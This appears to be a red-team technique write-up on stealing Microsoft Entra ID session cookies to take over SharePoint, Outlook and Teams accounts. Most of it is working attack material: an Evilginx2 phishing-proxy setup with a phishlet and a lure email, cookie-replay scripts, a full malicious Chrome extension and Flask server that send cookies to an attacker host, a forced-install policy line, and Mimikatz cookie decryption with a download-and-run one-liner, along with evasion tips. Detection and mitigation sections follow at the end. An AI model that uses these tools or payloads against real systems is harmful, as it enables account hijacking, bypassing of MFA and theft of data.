| Attribute | Details |
|---|---|
| Technique ID | CA-COOKIE-001 |
| MITRE ATT&CK v18.1 | T1539: Steal Web Session Cookie |
| Tactic | Credential Access |
| Platforms | M365 (Microsoft 365) – SharePoint Online, Outlook Online, Teams, all SaaS services using Entra ID |
| Severity | Critical |
| CVE | N/A (session-level exploitation, not software vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | All tenants with Entra ID authentication (no version restrictions) |
| Patched In | Ongoing mitigation via Conditional Access Token Protection, Linkable Token Identifiers (SessionId), device-bound cookie policies |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) not included because no dedicated Atomic test exists for cookie theft (application-level). All sections apply universally across M365 environments.
Concept: SharePoint Online authentication relies on HTTP session cookies issued by Microsoft Entra ID following successful user authentication. The primary authentication cookies are ESTSAUTH (transient, session-bound) and ESTSAUTHPERSISTENT (persistent, with “Stay Signed In” option). These cookies serve as proof-of-authentication and bypass username/password requirements on subsequent requests. Unlike tokens that are bound to devices or IP addresses, session cookies in M365 were historically only bound to the user and browser. An attacker who obtains these cookies can replay them to gain access to SharePoint sites, Outlook mailboxes, Teams channels, and other cloud services—without requiring the user’s password or triggering MFA because the MFA requirement was satisfied during the initial authentication that generated the cookies.
Attack Surface: The attack surface includes browser memory, network traffic during login, Chrome/Edge encrypted cookie storage (accessible via DPAMI decryption), and MITM interception points during phishing campaigns. Stolen cookies can be extracted from victim machines via malware, browser extensions, or MITM proxies.
Business Impact: Unrestricted access to all M365 services associated with the victim user. An attacker with stolen ESTSAUTHPERSISTENT cookies can access SharePoint documents indefinitely, read and forward email, impersonate the user in Teams, steal contacts, create inbox rules for data exfiltration, and pivot to additional cloud resources. The attack often precedes BEC (Business Email Compromise), ransomware deployment via SharePoint, and supply-chain attacks via document manipulation.
Technical Context: Cookie theft is typically the second stage of a phishing attack. The first stage (credential + MFA bypass) occurs via Adversary-in-the-Middle (AITM) tools like Evilginx2, which proxies the victim’s login and captures the session cookies immediately after MFA. Alternatively, malware or browser extensions running on the victim’s machine continuously harvest cookies as they are refreshed. Once stolen, a persistent cookie is valid for weeks to months, providing long-term persistence.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1 (Session Timeout), 6.2 (Endpoint Security) | Absence of session binding to device/IP and weak endpoint controls allow cookie theft and replay without detection. |
| DISA STIG | AC-2(a) Account Management | Inadequate session management; cookies not tied to hardware or device identity. |
| CISA SCuBA | MS.AAE.02 | Require device-bound tokens; reject unbound cookies from unregistered devices. |
| NIST 800-53 | AC-3 (Access Enforcement), AC-12 (Session Termination) | Cookies represent bearer tokens without binding; failure to enforce device-level access controls. |
| GDPR | Art. 32 (Security of Processing) | Failure to implement technical measures (device binding, encryption, session protection) for sensitive cloud data. |
| DORA | Art. 9 (Protection and Prevention) | Financial institution access must be bound to authenticated device/user; unbound cookies violate principle. |
| NIS2 | Art. 21 (Cyber Risk Management) | Critical infrastructure must implement multi-factor authentication + device binding; cookies alone insufficient. |
| ISO 27001 | A.9.2.5 (Access Rights Review), A.10.1.1 (Cryptographic Controls) | Token lifecycle not managed; no binding mechanism for session persistence. |
| ISO 27005 | Risk: Unauthorized Access via Session Hijacking | Compromise of authentication session represents residual risk to confidentiality/integrity. |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Determine which SharePoint sites and M365 services are accessible by the target user.
Command (PowerShell - List Connected Services):
# Connect as target user (if already authenticated)
Get-MgUserApp | Select-Object DisplayName, AppName | Where-Object { $_.AppName -like "*Share*" -or $_.AppName -like "*Outlook*" -or $_.AppName -like "*Teams*" }
# Or query via browser while logged in
# Visit: https://myapps.microsoft.com
# Or: https://outlook.office.com (Outlook)
# Or: https://teams.microsoft.com (Teams)
# Or: https://<tenant>.sharepoint.com (SharePoint)
What to Look For:
OpSec & Evasion: This reconnaissance generates no logs if performed via browser; only user-visible activity.
Objective: Verify Entra ID session exists and cookies are present.
Command (Browser DevTools - Chrome/Edge):
https://login.microsoftonline.com.Expected Output:
Name: ESTSAUTH
Value: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ...
Domain: .login.microsoftonline.com
Path: /
Expires/Max-Age: Session (or specific date if ESTSAUTHPERSISTENT)
Secure: ✓ (HTTPS only)
HttpOnly: ✓ (Not accessible via JavaScript; protects against XSS)
SameSite: Lax or Strict
What This Means:
OpSec & Evasion: DevTools inspection generates no remote logs; visible only to user if they inspect their own browser.
Supported Versions: All Entra ID tenants, all browsers.
Objective: Create a reverse proxy that intercepts and logs user credentials and cookies during the login process.
Prerequisites:
Command (Install Evilginx2):
# Download and install Evilginx2
wget https://github.com/kgretzky/evilginx2/releases/download/v2.4.0/evilginx2-v2.4.0-linux-amd64.zip
unzip evilginx2-v2.4.0-linux-amd64.zip
chmod +x evilginx2
# Run Evilginx2 in interactive mode
./evilginx2 -p 8443
Expected Output:
[*] Evilginx v2.4.0 loaded
[*] Type 'help' for commands
[*] Listening on 0.0.0.0:8443 (TLS)
evilginx>
What This Means:
OpSec & Evasion:
Objective: Create a phishing site that mimics Microsoft login, capturing credentials and cookies.
Command (Evilginx2 Interactive Configuration):
evilginx> config domain phishing.attacker-domain.com # Attacker-controlled domain
evilginx> config ip <ATTACKER_SERVER_IP> # Attacker's server IP
evilginx> phish # List available phishing templates
# Output shows: office365, outlook, sharepoint, teams, etc.
evilginx> phish office365
evilginx> phish outlook # Select Outlook phishing template
evilginx> create # Create phishing site instance
Alternative (Manual Evilginx Config File):
# ~/.evilginx2/phishlets/office365.yaml
name: "Office 365"
author: "attacker"
min_ver: "2.4.0"
proxy_hosts:
- { phish_subdomain: "login", real_host: "login.microsoftonline.com", is_landing: true }
- { phish_subdomain: "graph", real_host: "graph.microsoft.com" }
auth_tokens:
- { domain: ".microsoftonline.com", keys: ["ESTSAUTH", "ESTSAUTHPERSISTENT", "ESTSAUTHLIGHT"] }
credentials:
username:
param: "login_str"
search: true
password:
param: "passwd"
search: true
Expected Output:
[+] Phishing site created: login-phishing.attacker-domain.com
[+] Listening on https://login-phishing.attacker-domain.com
[+] Ready to intercept logins
What This Means:
login.microsoftonline.com.Version Note: Evilginx2 v2.3+ includes auto-filling of Microsoft MFA screens; v2.4+ supports token generation and Evilginx2 Telegram notifications.
OpSec & Evasion:
Objective: Trick victim into visiting the Evilginx2 phishing site and authenticating.
Command (Generate Phishing Link):
evilginx> lures create office365 # Create new lure (phishing campaign)
evilginx> lures get-url 1 # Get phishing URL for lure #1
# Output:
# https://login-phishing.attacker-domain.com/redir?rid=1a2b3c4d
evilginx> logs list # View captured credentials/cookies
Phishing Email Example:
From: microsoft-security@defender-outlook.com (spoofed)
Subject: URGENT: Your Office 365 account requires verification
Hi [User],
Your Office 365 account has been flagged for suspicious activity.
Please verify your identity immediately by clicking the link below:
[Click Here to Verify Account](https://login-phishing.attacker-domain.com/redir?rid=1a2b3c4d)
This link expires in 24 hours. Failure to verify may result in account suspension.
---
Microsoft Security Team
Expected Victim Flow:
login-phishing.attacker-domain.com (MITM Evilginx2 proxy).OpSec & Evasion:
Troubleshooting:
References:
Objective: Retrieve stolen cookies and credentials from Evilginx2 logs for later replay.
Command (Export Captured Data):
evilginx> logs list # List all captured sessions
evilginx> logs delete 1 # Delete log entry (cleanup)
# Alternatively, access Evilginx2 database directly:
sqlite3 ~/.evilginx2/evilginx.db "SELECT * FROM sessions;" | grep -E "ESTSAUTH|credentials"
# Export to JSON:
sqlite3 ~/.evilginx2/evilginx.db ".mode json" "SELECT * FROM sessions;" > captured_sessions.json
Expected Output:
{
"sessions": [
{
"id": 1,
"timestamp": "2025-01-08 10:30:00",
"username": "user@company.com",
"password": "P@ssw0rd123!",
"cookies": {
"ESTSAUTH": "eyJhbGciOiJSUzI1NiI...",
"ESTSAUTHPERSISTENT": "eyJhbGciOiJSUzI1NiI...",
"ESTSAUTHLIGHT": "eyJhbGciOiJSUzI1NiI..."
},
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
"ip_address": "203.0.113.45"
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
~/.evilginx2/ or /opt/evilginx2/.apt-get install sqlite3 (Linux).Objective: Use the captured ESTSAUTHPERSISTENT cookie to authenticate to SharePoint Online as the victim user.
Command (cURL - Cookie Replay):
# Set environment variables with captured cookies
export ESTSAUTH="eyJhbGciOiJSUzI1NiI..."
export ESTSAUTH_PERSISTENT="eyJhbGciOiJSUzI1NiI..."
export USER_AGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
# Request SharePoint site (cookies act as proof-of-authentication)
curl -i \
-H "Cookie: ESTSAUTH=$ESTSAUTH; ESTSAUTHPERSISTENT=$ESTSAUTH_PERSISTENT" \
-H "User-Agent: $USER_AGENT" \
"https://company.sharepoint.com/sites/Finance"
Expected Response (Success):
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: rtFa=...; secure; httponly; samesite=lax
...
<html>
<head><title>Finance Site - SharePoint</title></head>
<body>
<!-- SharePoint site content -->
<div id="contentBox">
<h1>Finance Documents</h1>
<ul>
<li>Budget_2025.xlsx</li>
<li>Payroll_Data.csv</li>
</ul>
</div>
</body>
</html>
What This Means:
Command (PowerShell - Download SharePoint Documents via Stolen Cookie):
# Create credential object using stolen cookie
$cookieContainer = New-Object System.Net.CookieContainer
$cookie1 = New-Object System.Net.Cookie
$cookie1.Name = "ESTSAUTHPERSISTENT"
$cookie1.Value = "eyJhbGciOiJSUzI1NiI..."
$cookie1.Domain = ".sharepoint.com"
$cookieContainer.Add($cookie1)
# Make authenticated request to SharePoint
$request = [System.Net.HttpWebRequest]::Create("https://company.sharepoint.com/sites/Finance/_api/web/lists/GetByTitle('Documents')/items")
$request.CookieContainer = $cookieContainer
$request.Headers.Add("User-Agent", "Mozilla/5.0...")
$response = $request.GetResponse()
$streamReader = New-Object System.IO.StreamReader($response.GetResponseStream())
$content = $streamReader.ReadToEnd()
Write-Host "Response: $content" | ConvertFrom-Json | Select-Object -Property Title, Id
Expected Output:
Title Id
----- --
Budget_2025.xlsx 1
Payroll_Data.csv 2
Strategic_Plan_2025.docx 3
OpSec & Evasion:
Troubleshooting:
References:
Supported Versions: Chrome, Edge, Firefox (all platforms).
Objective: Create a Chrome extension that monitors Microsoft login pages and exfiltrates cookies when they are set.
File: manifest.json
{
"manifest_version": 3,
"name": "Office 365 Security Update",
"version": "1.0",
"description": "Enhances Office 365 security",
"permissions": [
"cookies",
"webRequest",
"tabs",
"storage"
],
"host_permissions": [
"https://login.microsoftonline.com/*",
"https://outlook.office.com/*",
"https://*.sharepoint.com/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["https://login.microsoftonline.com/*"],
"js": ["content.js"]
}
]
}
File: content.js (Runs in page context)
// Monitor for Entra ID login completion event
document.addEventListener('DOMContentLoaded', function() {
// Hook into MSAL (Microsoft Authentication Library) authentication event
if (window.MSAL && window.MSAL.msalInstance) {
window.MSAL.msalInstance.addEventCallback(function(message) {
if (message.eventType === 'msal:loginSuccess') {
console.log('[*] Microsoft login detected');
// Extract cookies after successful login
fetch('chrome-extension://' + chrome.runtime.id + '/get_cookies', {
method: 'POST'
});
}
});
}
// Alternative: Monitor for cookie changes
setInterval(function() {
document.cookie.split(';').forEach(function(cookie) {
let cookieName = cookie.trim().split('=')[0];
if (cookieName.includes('ESTAUTH')) {
console.log('[+] Found auth cookie: ' + cookieName);
chrome.runtime.sendMessage({type: 'COOKIE_FOUND', cookie: cookie});
}
});
}, 5000);
});
File: background.js (Service Worker)
// Listen for cookies found in content script
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.type === 'COOKIE_FOUND') {
console.log('[+] Exfiltrating: ' + message.cookie);
// Send to attacker server
fetch('https://attacker-collector.com/api/cookies', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
user: message.cookie,
timestamp: new Date(),
url: sender.url
})
});
}
});
// Alternative: Use Chrome cookies API to access all cookies
chrome.cookies.onChanged.addListener((changeInfo) => {
if (changeInfo.cookie.name.includes('ESTAUTH') || changeInfo.cookie.name.includes('rtFa')) {
console.log('[+] Cookie change detected: ' + changeInfo.cookie.name);
// Log cookie value
fetch('https://attacker-collector.com/api/cookies', {
method: 'POST',
body: JSON.stringify({
name: changeInfo.cookie.name,
value: changeInfo.cookie.value,
domain: changeInfo.cookie.domain,
expirationDate: changeInfo.cookie.expirationDate
})
});
}
});
Expected Behavior:
login.microsoftonline.com for authentication events.OpSec & Evasion:
Objective: Get victim to install the malicious extension.
Method A: Fake Browser Store Listing
1. Create fake Chrome Web Store entry (clone of legitimate Microsoft extension).
2. Register domain: `chrome-microsoft-ext.com` or similar.
3. Create installation page that appears to be Chrome Web Store.
4. Send phishing email with link to fake installation page.
5. Victim clicks "Add to Chrome" → extension installs with malicious payload.
Method B: Sideload Extension via Group Policy (Enterprise Only)
# Group Policy to force install malicious extension
[HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist]
"1"="malicious_extension_id;https://attacker.com/extension.crx"
Method C: Package Extension with Legitimate Software
Distribute extension as part of software installer (e.g., VPN, antivirus software).
Checkbox: "Install Office 365 Security Extension" (enabled by default).
Expected User Experience:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Set up a collection server to receive exfiltrated cookies from victim extensions.
Command (Python Flask Server - Attacker’s Collection Point):
from flask import Flask, request, jsonify
import json
from datetime import datetime
app = Flask(__name__)
# Store collected cookies
collected_cookies = []
@app.route('/api/cookies', methods=['POST'])
def collect_cookies():
data = request.json
# Add timestamp and source info
data['timestamp'] = datetime.now().isoformat()
data['source_ip'] = request.remote_addr
data['user_agent'] = request.headers.get('User-Agent', 'Unknown')
# Log to file
with open('stolen_cookies.json', 'a') as f:
f.write(json.dumps(data) + '\n')
# Store in memory for quick access
collected_cookies.append(data)
print(f"[+] Cookie collected from {request.remote_addr}")
print(f" Cookie: {data.get('value', 'N/A')[:50]}...")
return jsonify({'status': 'success'}), 200
@app.route('/api/list_cookies', methods=['GET'])
def list_cookies():
# Return all collected cookies (password-protected in real scenario)
return jsonify(collected_cookies), 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc') # Requires pyopenssl
Expected Output (Attacker’s Perspective):
* Serving Flask app 'cookie_collector'
* Debug mode: off
* Running on https://0.0.0.0:443
* Press CTRL+C to quit
[+] Cookie collected from 203.0.113.45
Cookie: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ...
[+] Cookie collected from 203.0.113.45
Cookie: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ...
Viewing Collected Cookies:
# Query collection server
curl "https://attacker-collector.com/api/list_cookies" | jq '.[] | {user, timestamp, domain}'
# Output:
# {
# "user": "user@company.com",
# "timestamp": "2025-01-08T10:30:00.123456",
# "domain": ".sharepoint.com"
# }
OpSec & Evasion:
Supported Versions: Windows 10+, Windows 11 (when Mimikatz has local admin access).
Objective: Locate Chrome’s encrypted cookie storage file on victim machine.
Command (PowerShell - Find Chrome Cookie DB):
# Chrome stores cookies in SQLite database
$chromeDbPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"
if (Test-Path $chromeDbPath) {
Write-Host "[+] Found Chrome cookie database: $chromeDbPath"
Get-Item $chromeDbPath | Select-Object FullName, LastWriteTime, Length
} else {
Write-Host "[-] Chrome cookie database not found"
}
# Check if Chrome process is running (cookies may be locked if Chrome is open)
Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object ProcessName, Id
Expected Output:
[+] Found Chrome cookie database: C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Cookies
FullName: C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Cookies
LastWriteTime: 2025-01-08 10:30:00
Length: 1048576 (1 MB)
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
2000 150 523456 854321 2.50 5678 2 chrome
What This Means:
OpSec & Evasion:
Objective: Extract and decrypt Chrome’s encrypted cookie database using DPAPI keys.
Command (Mimikatz - DPAPI Cookie Extraction):
mimikatz.exe
mimikatz # privilege::debug # Elevate to DEBUG privilege
mimikatz # dpapi::chrome /in:C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Cookies /unprotect
# Output will show decrypted cookies:
# [COOKIE] ESTSAUTH = eyJhbGciOiJSUzI1NiI...
# [COOKIE] ESTSAUTHPERSISTENT = eyJhbGciOiJSUzI1NiI...
# [COOKIE] rtFa = ...
Alternative (One-Liner):
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "privilege::debug" "dpapi::chrome /in:$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies /unprotect" "exit" | Out-File cookies.txt
Expected Output:
mimikatz # dpapi::chrome /in:C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Cookies /unprotect
Chrome cookie decryption for: C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Cookies
host_key : google.com
name_key : CONSENT
value (hex): 36313031353635323331
value (utf8): 610156523
encrypted: no
host_key : .login.microsoftonline.com
name_key : ESTSAUTH
value (encrypted hex): ... [ENCRYPTED DATA] ...
value (decrypted utf8): eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJpc3MiOiJodHRwczov...
host_key : .login.microsoftonline.com
name_key : ESTSAUTHPERSISTENT
value (encrypted hex): ... [ENCRYPTED DATA] ...
value (decrypted utf8): eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJpc3MiOiJodHRwczov...
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
taskkill /IM chrome.exe /Fpsexec -s -i cmd.exe then run Mimikatz.References:
Version: 2.4.0+ Minimum Version: 2.3.0 (MFA proxy support) Supported Platforms: Linux, macOS (attacker’s server)
Installation:
wget https://github.com/kgretzky/evilginx2/releases/download/v2.4.0/evilginx2-v2.4.0-linux-amd64.zip
unzip evilginx2-v2.4.0-linux-amd64.zip
chmod +x evilginx2
./evilginx2 -p 8443
Usage:
evilginx> config domain attacker-domain.com
evilginx> config ip 123.45.67.89
evilginx> phish office365
evilginx> create
evilginx> lures create office365
evilginx> lures get-url 1
evilginx> logs list
Version: Latest Minimum Version: 1.0 Supported Platforms: Windows, Linux, macOS
Installation:
git clone https://github.com/Flangvik/TokenSmith.git
cd TokenSmith
./TokenSmith -auth_cookie "ESTSAUTHPERSISTENT=..." -target_app "Teams"
Usage:
# Extract OAuth tokens from authenticated browser session
./TokenSmith -auth_cookie "eyJ..." -target_app "Teams" -output tokens.json
Rule Configuration:
KQL Query:
SigninLogs
| where TimeGenerated > ago(24h)
| summarize SessionLocations = make_set(LocationDetails.countryOrRegion) by SessionId, UserPrincipalName, CreatedDateTime
| where array_length(SessionLocations) > 1
| extend LocationList = strcat_array(SessionLocations, ", ")
| project SessionId, UserPrincipalName, Locations=LocationList, CreatedDateTime
| where array_length(SessionLocations) > 2 or (datetime_diff('minute', TimeGenerated, CreatedDateTime) < 10)
What This Detects:
KQL Query:
SigninLogs
| where AuthenticationDetails.authenticationMethod has "PrimaryRefresh" or AuthenticationDetails.authenticationMethod has "SessionCookie"
| where MfaDetail.authMethod != "MFA" and MfaDetail.authMethod != "Approved"
| summarize Count = count() by UserPrincipalName, IPAddress, LocationDetails.countryOrRegion, TimeGenerated
| where Count > 5
What This Detects:
Event ID: 4648 (A logon was attempted using explicit credentials)
Manual Configuration Steps (Enable Logging):
gpupdate /forceAlert Name: “Sign-in from unfamiliar location”
Manual Configuration Steps:
Network:
login.microsoftonline.com or *.sharepoint.com from non-matching user agent.File System:
stolen_cookies.json or similar files in attacker’s web root (if using Evilginx2 on shared server).C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Extensions\.Browser:
Cloud Logs:
Files:
C:\Users\[User]\AppData\Local\Google\Chrome\User Data\Default\CookiesC:\Users\[User]\AppData\Local\Microsoft\Edge\User Data\Default\Cookies~/.evilginx2/evilginx.dbMemory:
Cloud (M365):
1. Immediate Containment:
Command (Revoke All Sessions):
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
$userId = (Get-MgUser -Filter "userPrincipalName eq 'user@company.com'").Id
# Revoke all refresh tokens (forces re-authentication globally)
Invoke-MgUserInvalidateAllRefreshTokens -UserId $userId
# Alternatively, revoke all sessions via Azure Portal:
# Navigate to Azure Portal → Entra ID → Users → Select User → Sign out all sessions
Manual (Azure Portal):
2. Reset Credentials:
Command (Force Password Reset + MFA Re-enrollment):
# Force user to change password on next sign-in
Update-MgUser -UserId $userId -ForceChangePasswordNextSignIn $true
# Remove all authentication methods; force re-registration
Get-MgUserAuthenticationMethod -UserId $userId | ForEach-Object {
Remove-MgUserAuthenticationMethod -UserId $userId -AuthenticationMethodId $_.Id
}
Manual:
3. Revoke Browser Sessions and Cookies:
Command (Terminate SharePoint Session):
# Disconnect user from SharePoint Online
Disconnect-SPOService
Connect-SPOService -Url "https://company-admin.sharepoint.com"
# Revoke user's access to all SharePoint sites
Get-SPOUser -Site "https://company.sharepoint.com/sites/Finance" -Limit All | Where-Object { $_.LoginName -eq "i:0#.f|membership|user@company.com" } | Remove-SPOUser
# Or revoke access across all sites:
Get-SPOSite -Limit All | ForEach-Object {
Remove-SPOUser -Site $_.Url -LoginName "i:0#.f|membership|user@company.com" -Confirm:$false
}
4. Forensic Evidence Collection:
Command (Export Audit Logs):
# Collect Entra ID sign-in logs for compromised user
$startDate = (Get-Date).AddDays(-30)
$endDate = (Get-Date)
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'user@company.com' and createdDateTime gt $startDate" | Export-Csv -Path "signin_audit.csv"
# Export M365 Unified Audit Log (mailbox, SharePoint, Teams)
Search-UnifiedAuditLog -UserIds "user@company.com" -StartDate $startDate -EndDate $endDate -Operations FileAccessed, MailItemsAccessed, Create | Export-Csv -Path "m365_audit.csv"
# Extract SessionId for complete activity correlation
$auditLogs = Search-UnifiedAuditLog -UserIds "user@company.com" -StartDate $startDate
$sessionIds = $auditLogs | Select-Object -ExpandProperty AuditData | ConvertFrom-Json | Select-Object -ExpandProperty SessionId | Select-Object -Unique
Write-Host "[+] Unique SessionIds: $($sessionIds.Count)"
$sessionIds | ForEach-Object { Write-Host " - $_" }
5. Investigation Steps:
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions")| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into device code flow login (alternative to cookie theft). |
| 2 | Credential Access - This Step | [CA-COOKIE-001] SharePoint Cookie Theft | Attacker captures ESTSAUTH/ESTSAUTHPERSISTENT via AITM phishing or malware. |
| 3 | Lateral Movement | [LM-AUTH-007] SharePoint Authentication Bypass | Stolen cookie grants direct access to SharePoint sites without re-authentication. |
| 4 | Collection | [COLLECTION-M365-003] Document Exfiltration | Attacker downloads sensitive documents from SharePoint using stolen session. |
| 5 | Persistence | [PERSISTENCE-M365-001] Inbox Rule Creation | Attacker creates forwarding rule to exfiltrate future emails. |
| 6 | Impact | [IMPACT-BEC] Business Email Compromise | Attacker impersonates user for wire fraud, supply chain attacks, or credential harvesting. |
https://login-o365-security.com (spoofs legitimate domain)exfiltrate@attacker-mail.com.login.microsoftonline.com for authentication.Manual Steps (Azure Portal):
Enforce Token Protection for M365Report-only (first, switch to On after testing)Validation (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Token*" } | Select-Object DisplayName, State, GrantControls
# Should show: State = "enabled", GrantControls.BuiltInControls = "tokenProtection"
Manual Steps:
Require MFA for Cloud AppsManual Steps:
Manual Steps (Enable & Query):
Manual Steps:
Windows 10 Corporate StandardRequire Compliant Device for M365Manual Steps:
Block AITM Phishing DomainsManual Steps (Group Policy):
gpupdate /forceAlternative (Intune):
Chrome Extension PolicyManual Steps (Microsoft Sentinel):
Suspicious SharePoint Document AccessManual Steps (Exchange PowerShell):
# Restrict external forwarding
Set-OrganizationConfig -ExternalDelegateEnabled $false
# Prevent forwarding rules via Outlook rules (requires Policy)
# Policy: Block external email forwarding except approved domains
Manual Steps:
Validation Command (Verify Mitigations Active):
# Check Token Protection policy
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Token*" } | Format-List DisplayName, State
# Check Device Compliance requirement
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.GrantControls.BuiltInControls -contains "compliantDevice" } | Format-List DisplayName
# Check FIDO2 enrollment status
Get-MgUserAuthenticationMethod -UserId "user@company.com" | Where-Object { $_.AdditionalProperties["@odata.type"] -like "*Fido*" }
Expected Output (If Secure):
DisplayName: Enforce Token Protection for M365
State: enabled
DisplayName: Require Compliant Device for M365
State: enabled
// FIDO2 devices registered
@odata.type: #microsoft.graph.fido2AuthenticationMethod
Model: YubiKey 5
SharePoint Online and M365 cookie theft represents a critical and active threat. Unlike credentials, stolen session cookies bypass MFA and enable immediate unauthorized access. The attack is particularly dangerous because:
Defense requires multiple layers:
Organizations should prioritize Token Protection in Conditional Access as the primary mitigation, supplemented by device-level hardening and continuous monitoring.